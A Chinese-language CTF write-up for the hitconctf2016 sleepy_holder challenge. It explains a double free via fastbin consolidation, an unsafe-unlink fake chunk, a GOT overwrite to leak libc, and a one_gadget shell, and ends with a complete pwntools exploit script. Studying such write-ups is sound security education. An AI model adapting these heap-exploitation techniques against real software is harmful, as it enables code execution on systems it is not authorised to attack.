unlink(sleepyholder)
题目: hitconctf2016_sleepy_holder(就是进阶版的hitconctf2016_secret_holder)
函数分析:
add
update
dele
总结 : 程序很简单,可以malloc三种类型的chunk,fast chunk \ large chunk \ large chunk(mmap()分配),明显的漏洞有uaf漏洞\double free漏洞,值的注意的是huge_chunk在被创建后就不能修改和删除了
往往简单的一个uaf和double free都可以打很多攻击姿势,这题的重要控制变量放在bss段如图:
一般遇到这种情况使用unsafe unlink来解题,且有uaf漏洞和在bss中指向用于伪造堆的指针
unlink利用需要chunk溢出到next chunk的prev_size 和size修改为fake chunk的结构即可unlink,那么就需要构造这个条件,因为程序每种类型的chunk只能add一次,那么常规的double free就使用不了,那么这个程序中在申请large chunk时会将fast bin 进行合并进入unsort bin,再加上自己可以free一次那么就可以营造double free景象如下:
1 add(1,'B') #fast chunk
2 add(2,'B') #防止下面free后被合并到top chunk
3 dele(1) #放入fast bin
4 add(3,'B') #申请largin chunk此时发现fast bin有数据 则合并放入small bin
5 dele(1) #再free一次fast_ptr 形成double free
此时的堆空间:
可以看到已经出现了同一堆块出现在2个bin中,那么此时malloc回来就还是会显示free状态,那么就可以进行伪造fake chunk了如下:
1 fast_ptr = 0x6020d0
2 fake = p64(0) + p64(0x21)
3 fake += p64(fast_ptr-0x18) + p64(fast_ptr-0x10) #标准unlink绕过公式
4 fake += p64(0x20) #这里next chunk的p标志位就不需要修改了
5 adds(1,fake)
6 dele(2) #unlink
之后便是简单的unlink后的标准操作改got表
1 big_ptr = 0x6020c0
2 payload = p64(0) + p64(e.got['free']) +p64(0) + p64(big_ptr)
3 payload += p64(1) + p32(0) + p32(1) #3个不同类型ptr的标志位
4 update(1,payload)
5 update(2,p64(e.plt['puts'])) #修改free@got -> puts@plt
6 update(1,p64(e.got['atoi'])) #修改big_ptr的指针指向atoi@got地址
7 dele(2) #打印atoi@got地址
8 leak = uu64(ru('\n')[:6])
9 libc_base = leak - libc.symbols['atoi']
10 success('libc',libc_base)
因为前面使fast_ptr指向了big_ptr那么就可以操作2次指针,最后的getshell
update(1,b'\x00'*0x10 + p64(e.got['puts']))
update(1,p64(libc_base + one[1]))
完整exp:
# -*-coding:utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./sleepyHolder"
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def pa(s='暂停!'):
log.success('当前执行步骤 -> '+str(s))
pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4]
def adds(types,data):
sla("3. Renew secret\n",'1')
sla("2. Big secret\n",str(types))
sla("ell me your secret: \n",data)
def add(types,data):
sla("3. Renew secret\n",'1')
sla("3. Keep a huge secret and lock it forever\n",str(types))
sla("ell me your secret: \n",data)
def dele(types):
sla("3. Renew secret\n",'2')
sla("2. Big secret\n",str(types))
def update(types,data):
sla("3. Renew secret\n",'3')
sla("2. Big secret\n",str(types))
sa("ell me your secret: \n",data)
#------------double free----------------
add(1,'B') #fast chunk
add(2,'B') #防止下面free后被合并到top chunk
dele(1) #放入fast bin
add(3,'B') #申请largin chunk此时发现fast bin有数据 则合并放入small bin
dele(1) #再free一次fast_ptr 形成double free
#------------fake chunk + unlink ----------------
fast_ptr = 0x6020d0
fake = p64(0) + p64(0x21)
fake += p64(fast_ptr-0x18) + p64(fast_ptr-0x10) #标准unlink绕过公式
fake += p64(0x20) #这里next chunk的p标志位就不需要修改了
adds(1,fake)
dele(2) #unlink
#------------leak libc----------------
big_ptr = 0x6020c0
payload = p64(0) + p64(e.got['free']) +p64(0) + p64(big_ptr)
payload += p64(1) + p32(0) + p32(1) #3个不同类型ptr的标志位
update(1,payload)
update(2,p64(e.plt['puts'])) #修改free@got -> puts@plt
update(1,p64(e.got['atoi'])) #修改big_ptr的指针指向atoi@got地址
dele(2) #打印atoi@got地址
leak = uu64(ru('\n')[:6])
libc_base = leak - libc.symbols['atoi']
success('libc',libc_base)
#------------getshell----------------
update(1,b'\x00'*0x10 + p64(e.got['puts']))
update(1,p64(libc_base + one[1]))
#------------end----------------
it()